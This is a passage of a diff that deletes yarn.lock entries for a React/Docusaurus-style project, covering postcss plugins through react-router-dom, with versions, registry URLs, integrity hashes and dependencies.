"https://registry.yarnpkg.com/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz#f1df0014a726083d260d3bd85d7385fb89d1f01b" - integrity sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-minify-gradients@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz#f1fe1b4f498134a5068240c2f25d46fcd236ba2c" - integrity sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw== - dependencies: - colord "^2.9.1" - cssnano-utils "^3.1.0" - postcss-value-parser "^4.2.0" - -postcss-minify-params@^5.1.4: - version "5.1.4" - resolved "https://registry.yarnpkg.com/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz#c06a6c787128b3208b38c9364cfc40c8aa5d7352" - integrity sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw== - dependencies: - browserslist "^4.21.4" - cssnano-utils "^3.1.0" - postcss-value-parser "^4.2.0" - -postcss-minify-selectors@^5.2.1: - version "5.2.1" - resolved "https://registry.yarnpkg.com/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz#d4e7e6b46147b8117ea9325a915a801d5fe656c6" - integrity sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg== - dependencies: - postcss-selector-parser "^6.0.5" - -postcss-modules-extract-imports@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz#cda1f047c0ae80c97dbe28c3e76a43b88025741d" - integrity sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw== - -postcss-modules-local-by-default@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz#ebbb54fae1598eecfdf691a02b3ff3b390a5a51c" - integrity sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ== - dependencies: - icss-utils "^5.0.0" - postcss-selector-parser "^6.0.2" - postcss-value-parser "^4.1.0" - -postcss-modules-scope@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz#9ef3151456d3bbfa120ca44898dfca6f2fa01f06" - integrity sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg== - dependencies: - postcss-selector-parser "^6.0.4" - -postcss-modules-values@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz#d7c5e7e68c3bb3c9b27cbf48ca0bb3ffb4602c9c" - integrity sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ== - dependencies: - icss-utils "^5.0.0" - -postcss-normalize-charset@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz#9302de0b29094b52c259e9b2cf8dc0879879f0ed" - integrity sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg== - -postcss-normalize-display-values@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz#72abbae58081960e9edd7200fcf21ab8325c3da8" - integrity sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-normalize-positions@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz#ef97279d894087b59325b45c47f1e863daefbb92" - integrity sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-normalize-repeat-style@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz#e9eb96805204f4766df66fd09ed2e13545420fb2" - integrity sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-normalize-string@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz#411961169e07308c82c1f8c55f3e8a337757e228" - integrity sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-normalize-timing-functions@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz#d5614410f8f0b2388e9f240aa6011ba6f52dafbb" - integrity sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-normalize-unicode@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz#f67297fca3fea7f17e0d2caa40769afc487aa030" - integrity sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA== - dependencies: - browserslist "^4.21.4" - postcss-value-parser "^4.2.0" - -postcss-normalize-url@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz#ed9d88ca82e21abef99f743457d3729a042adcdc" - integrity sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew== - dependencies: - normalize-url "^6.0.1" - postcss-value-parser "^4.2.0" - -postcss-normalize-whitespace@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz#08a1a0d1ffa17a7cc6efe1e6c9da969cc4493cfa" - integrity sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-ordered-values@^5.1.3: - version "5.1.3" - resolved "https://registry.yarnpkg.com/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz#b6fd2bd10f937b23d86bc829c69e7732ce76ea38" - integrity sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ== - dependencies: - cssnano-utils "^3.1.0" - postcss-value-parser "^4.2.0" - -postcss-reduce-idents@^5.2.0: - version "5.2.0" - resolved "https://registry.yarnpkg.com/postcss-reduce-idents/-/postcss-reduce-idents-5.2.0.tgz#c89c11336c432ac4b28792f24778859a67dfba95" - integrity sha512-BTrLjICoSB6gxbc58D5mdBK8OhXRDqud/zodYfdSi52qvDHdMwk+9kB9xsM8yJThH/sZU5A6QVSmMmaN001gIg== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-reduce-initial@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-reduce-initial/-/postcss-reduce-initial-5.1.1.tgz#c18b7dfb88aee24b1f8e4936541c29adbd35224e" - integrity sha512-//jeDqWcHPuXGZLoolFrUXBDyuEGbr9S2rMo19bkTIjBQ4PqkaO+oI8wua5BOUxpfi97i3PCoInsiFIEBfkm9w== - dependencies: - browserslist "^4.21.4" - caniuse-api "^3.0.0" - -postcss-reduce-transforms@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz#333b70e7758b802f3dd0ddfe98bb1ccfef96b6e9" - integrity sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ== - dependencies: - postcss-value-parser "^4.2.0" - -postcss-selector-parser@^6.0.2, postcss-selector-parser@^6.0.4, postcss-selector-parser@^6.0.5, postcss-selector-parser@^6.0.9: - version "6.0.10" - resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz#79b61e2c0d1bfc2602d549e11d0876256f8df88d" - integrity sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w== - dependencies: - cssesc "^3.0.0" - util-deprecate "^1.0.2" - -postcss-sort-media-queries@^4.2.1: - version "4.2.1" - resolved "https://registry.yarnpkg.com/postcss-sort-media-queries/-/postcss-sort-media-queries-4.2.1.tgz#a99bae69ef1098ee3b64a5fa94d258ec240d0355" - integrity sha512-9VYekQalFZ3sdgcTjXMa0dDjsfBVHXlraYJEMiOJ/2iMmI2JGCMavP16z3kWOaRu8NSaJCTgVpB/IVpH5yT9YQ== - dependencies: - sort-css-media-queries "2.0.4" - -postcss-svgo@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-svgo/-/postcss-svgo-5.1.0.tgz#0a317400ced789f233a28826e77523f15857d80d" - integrity sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA== - dependencies: - postcss-value-parser "^4.2.0" - svgo "^2.7.0" - -postcss-unique-selectors@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz#a9f273d1eacd09e9aa6088f4b0507b18b1b541b6" - integrity sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA== - dependencies: - postcss-selector-parser "^6.0.5" - -postcss-value-parser@^4.1.0, postcss-value-parser@^4.2.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514" - integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ== - -postcss-zindex@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-zindex/-/postcss-zindex-5.1.0.tgz#4a5c7e5ff1050bd4c01d95b1847dfdcc58a496ff" - integrity sha512-fgFMf0OtVSBR1va1JNHYgMxYk73yhn/qb4uQDq1DLGYolz8gHCyr/sesEuGUaYs58E3ZJRcpoGuPVoB7Meiq9A== - -postcss@^8.3.11, postcss@^8.4.7: - version "8.4.14" - resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.14.tgz#ee9274d5622b4858c1007a74d76e42e56fd21caf" - integrity sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig== - dependencies: - nanoid "^3.3.4" - picocolors "^1.0.0" - source-map-js "^1.0.2" - -postcss@^8.4.14, postcss@^8.4.17: - version "8.4.19" - resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.19.tgz#61178e2add236b17351897c8bcc0b4c8ecab56fc" - integrity sha512-h+pbPsyhlYj6N2ozBmHhHrs9DzGmbaarbLvWipMRO7RLS+v4onj26MPFXA5OBYFxyqYhUJK456SwDcY9H2/zsA== - dependencies: - nanoid "^3.3.4" - picocolors "^1.0.0" - source-map-js "^1.0.2" - -pretty-error@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-4.0.0.tgz#90a703f46dd7234adb46d0f84823e9d1cb8f10d6" - integrity sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw== - dependencies: - lodash "^4.17.20" - renderkid "^3.0.0" - -pretty-time@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/pretty-time/-/pretty-time-1.1.0.tgz#ffb7429afabb8535c346a34e41873adf3d74dd0e" - integrity sha512-28iF6xPQrP8Oa6uxE6a1biz+lWeTOAPKggvjB8HAs6nVMKZwf5bG++632Dx614hIWgUPkgivRfG+a8uAXGTIbA== - -prism-react-renderer@^1.3.5: - version "1.3.5" - resolved "https://registry.yarnpkg.com/prism-react-renderer/-/prism-react-renderer-1.3.5.tgz#786bb69aa6f73c32ba1ee813fbe17a0115435085" - integrity sha512-IJ+MSwBWKG+SM3b2SUfdrhC+gu01QkV2KmRQgREThBfSQRoufqRfxfHUxpG1WcaFjP+kojcFyO9Qqtpgt3qLCg== - -prismjs@^1.28.0: - version "1.29.0" - resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.29.0.tgz#f113555a8fa9b57c35e637bba27509dcf802dd12" - integrity sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q== - -process-nextick-args@~2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2" - integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag== - -promise@^7.1.1: - version "7.3.1" - resolved "https://registry.yarnpkg.com/promise/-/promise-7.3.1.tgz#064b72602b18f90f29192b8b1bc418ffd1ebd3bf" - integrity sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg== - dependencies: - asap "~2.0.3" - -prompts@^2.4.2: - version "2.4.2" - resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.2.tgz#7b57e73b3a48029ad10ebd44f74b01722a4cb069" - integrity sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q== - dependencies: - kleur "^3.0.3" - sisteransi "^1.0.5" - -prop-types@^15.6.2, prop-types@^15.7.2: - version "15.8.1" - resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.8.1.tgz#67d87bf1a694f48435cf332c24af10214a3140b5" - integrity sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg== - dependencies: - loose-envify "^1.4.0" - object-assign "^4.1.1" - react-is "^16.13.1" - -property-information@^5.0.0, property-information@^5.3.0: - version "5.6.0" - resolved "https://registry.yarnpkg.com/property-information/-/property-information-5.6.0.tgz#61675545fb23002f245c6540ec46077d4da3ed69" - integrity sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA== - dependencies: - xtend "^4.0.0" - -proxy-addr@~2.0.7: - version "2.0.7" - resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025" - integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg== - dependencies: - forwarded "0.2.0" - ipaddr.js "1.9.1" - -pump@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64" - integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww== - dependencies: - end-of-stream "^1.1.0" - once "^1.3.1" - -punycode@^1.3.2: - version "1.4.1" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e" - integrity sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ== - -punycode@^2.1.0: - version "2.1.1" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec" - integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A== - -pupa@^2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/pupa/-/pupa-2.1.1.tgz#f5e8fd4afc2c5d97828faa523549ed8744a20d62" - integrity sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A== - dependencies: - escape-goat "^2.0.0" - -pure-color@^1.2.0: - version "1.3.0" - resolved "https://registry.yarnpkg.com/pure-color/-/pure-color-1.3.0.tgz#1fe064fb0ac851f0de61320a8bf796836422f33e" - integrity sha512-QFADYnsVoBMw1srW7OVKEYjG+MbIa49s54w1MA1EDY6r2r/sTcKKYqRX1f4GYvnXP7eN/Pe9HFcX+hwzmrXRHA== - -qs@6.10.3: - version "6.10.3" - resolved "https://registry.yarnpkg.com/qs/-/qs-6.10.3.tgz#d6cde1b2ffca87b5aa57889816c5f81535e22e8e" - integrity sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ== - dependencies: - side-channel "^1.0.4" - -queue-microtask@^1.2.2: - version "1.2.3" - resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243" - integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A== - -queue@6.0.2: - version "6.0.2" - resolved "https://registry.yarnpkg.com/queue/-/queue-6.0.2.tgz#b91525283e2315c7553d2efa18d83e76432fed65" - integrity sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA== - dependencies: - inherits "~2.0.3" - -quick-lru@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/quick-lru/-/quick-lru-5.1.1.tgz#366493e6b3e42a3a6885e2e99d18f80fb7a8c932" - integrity sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA== - -randombytes@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a" - integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== - dependencies: - safe-buffer "^5.1.0" - -range-parser@1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.0.tgz#f49be6b487894ddc40dcc94a322f611092e00d5e" - integrity sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A== - -range-parser@^1.2.1, range-parser@~1.2.1: - version "1.2.1" - resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031" - integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg== - -raw-body@2.5.1: - version "2.5.1" - resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.1.tgz#fe1b1628b181b700215e5fd42389f98b71392857" - integrity sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig== - dependencies: - bytes "3.1.2" - http-errors "2.0.0" - iconv-lite "0.4.24" - unpipe "1.0.0" - -rc@1.2.8, rc@^1.2.8: - version "1.2.8" - resolved "https://registry.yarnpkg.com/rc/-/rc-1.2.8.tgz#cd924bf5200a075b83c188cd6b9e211b7fc0d3ed" - integrity sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw== - dependencies: - deep-extend "^0.6.0" - ini "~1.3.0" - minimist "^1.2.0" - strip-json-comments "~2.0.1" - -react-base16-styling@^0.6.0: - version "0.6.0" - resolved "https://registry.yarnpkg.com/react-base16-styling/-/react-base16-styling-0.6.0.tgz#ef2156d66cf4139695c8a167886cb69ea660792c" - integrity sha512-yvh/7CArceR/jNATXOKDlvTnPKPmGZz7zsenQ3jUwLzHkNUR0CvY3yGYJbWJ/nnxsL8Sgmt5cO3/SILVuPO6TQ== - dependencies: - base16 "^1.0.0" - lodash.curry "^4.0.1" - lodash.flow "^3.3.0" - pure-color "^1.2.0" - -react-dev-utils@^12.0.1: - version "12.0.1" - resolved "https://registry.yarnpkg.com/react-dev-utils/-/react-dev-utils-12.0.1.tgz#ba92edb4a1f379bd46ccd6bcd4e7bc398df33e73" - integrity sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ== - dependencies: - "@babel/code-frame" "^7.16.0" - address "^1.1.2" - browserslist "^4.18.1" - chalk "^4.1.2" - cross-spawn "^7.0.3" - detect-port-alt "^1.1.6" - escape-string-regexp "^4.0.0" - filesize "^8.0.6" - find-up "^5.0.0" - fork-ts-checker-webpack-plugin "^6.5.0" - global-modules "^2.0.0" - globby "^11.0.4" - gzip-size "^6.0.0" - immer "^9.0.7" - is-root "^2.1.0" - loader-utils "^3.2.0" - open "^8.4.0" - pkg-up "^3.1.0" - prompts "^2.4.2" - react-error-overlay "^6.0.11" - recursive-readdir "^2.2.2" - shell-quote "^1.7.3" - strip-ansi "^6.0.1" - text-table "^0.2.0" - -react-dom@^16.8.4: - version "16.14.0" - resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-16.14.0.tgz#7ad838ec29a777fb3c75c3a190f661cf92ab8b89" - integrity sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - prop-types "^15.6.2" - scheduler "^0.19.1" - -react-error-overlay@^6.0.11: - version "6.0.11" - resolved "https://registry.yarnpkg.com/react-error-overlay/-/react-error-overlay-6.0.11.tgz#92835de5841c5cf08ba00ddd2d677b6d17ff9adb" - integrity sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg== - -react-fast-compare@^3.0.1, react-fast-compare@^3.2.0: - version "3.2.0" - resolved "https://registry.yarnpkg.com/react-fast-compare/-/react-fast-compare-3.2.0.tgz#641a9da81b6a6320f270e89724fb45a0b39e43bb" - integrity sha512-rtGImPZ0YyLrscKI9xTpV8psd6I8VAtjKCzQDlzyDvqJA8XOW78TXYQwNRNd8g8JZnDu8q9Fu/1v4HPAVwVdHA== - -react-helmet-async@*, react-helmet-async@^1.3.0: - version "1.3.0" - resolved "https://registry.yarnpkg.com/react-helmet-async/-/react-helmet-async-1.3.0.tgz#7bd5bf8c5c69ea9f02f6083f14ce33ef545c222e" - integrity sha512-9jZ57/dAn9t3q6hneQS0wukqC2ENOBgMNVEhb/ZG9ZSxUetzVIw4iAmEU38IaVg3QGYauQPhSeUTuIUtFglWpg== - dependencies: - "@babel/runtime" "^7.12.5" - invariant "^2.2.4" - prop-types "^15.7.2" - react-fast-compare "^3.2.0" - shallowequal "^1.1.0" - -react-is@^16.13.1, react-is@^16.6.0, react-is@^16.7.0: - version "16.13.1" - resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4" - integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ== - -react-json-view@^1.21.3: - version "1.21.3" - resolved "https://registry.yarnpkg.com/react-json-view/-/react-json-view-1.21.3.tgz#f184209ee8f1bf374fb0c41b0813cff54549c475" - integrity sha512-13p8IREj9/x/Ye4WI/JpjhoIwuzEgUAtgJZNBJckfzJt1qyh24BdTm6UQNGnyTq9dapQdrqvquZTo3dz1X6Cjw== - dependencies: - flux "^4.0.1" - react-base16-styling "^0.6.0" - react-lifecycles-compat "^3.0.4" - react-textarea-autosize "^8.3.2" - -react-lifecycles-compat@^3.0.4: - version "3.0.4" - resolved "https://registry.yarnpkg.com/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz#4f1a273afdfc8f3488a8c516bfda78f872352362" - integrity sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA== - -react-loadable-ssr-addon-v5-slorber@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/react-loadable-ssr-addon-v5-slorber/-/react-loadable-ssr-addon-v5-slorber-1.0.1.tgz#2cdc91e8a744ffdf9e3556caabeb6e4278689883" - integrity sha512-lq3Lyw1lGku8zUEJPDxsNm1AfYHBrO9Y1+olAYwpUJ2IGFBskM0DMKok97A6LWUpHm+o7IvQBOWu9MLenp9Z+A== - dependencies: - "@babel/runtime" "^7.10.3" - -"react-loadable@npm:@docusaurus/react-loadable@5.5.2": - version "5.5.2" - resolved "https://registry.yarnpkg.com/@docusaurus/react-loadable/-/react-loadable-5.5.2.tgz#81aae0db81ecafbdaee3651f12804580868fa6ce" - integrity sha512-A3dYjdBGuy0IGT+wyLIGIKLRE+sAk1iNk0f1HjNDysO7u8lhL4N3VEm+FAubmJbAztn94F7MxBTPmnixbiyFdQ== - dependencies: - "@types/react" "*" - prop-types "^15.6.2" - -react-player@^2.11.0: - version "2.11.0" - resolved "https://registry.yarnpkg.com/react-player/-/react-player-2.11.0.tgz#9afc75314eb915238e8d6615b2891fbe7170aeaa" - integrity sha512-fIrwpuXOBXdEg1FiyV9isKevZOaaIsAAtZy5fcjkQK9Nhmk1I2NXzY/hkPos8V0zb/ZX416LFy8gv7l/1k3a5w== - dependencies: - deepmerge "^4.0.0" - load-script "^1.0.0" - memoize-one "^5.1.1" - prop-types "^15.7.2" - react-fast-compare "^3.0.1" - -react-router-config@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/react-router-config/-/react-router-config-5.1.1.tgz#0f4263d1a80c6b2dc7b9c1902c9526478194a988" - integrity sha512-DuanZjaD8mQp1ppHjgnnUnyOlqYXZVjnov/JzFhjLEwd3Z4dYjMSnqrEzzGThH47vpCOqPPwJM2FtthLeJ8Pbg== - dependencies: - "@babel/runtime" "^7.1.2" - -react-router-dom@^5.3.3: - version "5.3.4" - resolved "https://registry.yarnpkg.com/react-router-dom/-/react-router-dom-5.3.4.tgz#2ed62ffd88cae6db134445f4a0c0ae8b91d2e5e6" - integrity sha512-m4EqFMHv/Ih4kpcBCONHbkT68KoAeHN4p3lAGoNryfHi0dMy0kCzEZakiKRsvg5wHZ/JLrLW8o8KomWiz/qbYQ== - dependencies: - "@babel/runtime" "^7.12.13" - history "^4.9.0" - loose-envify "^1.3.1" - prop-types 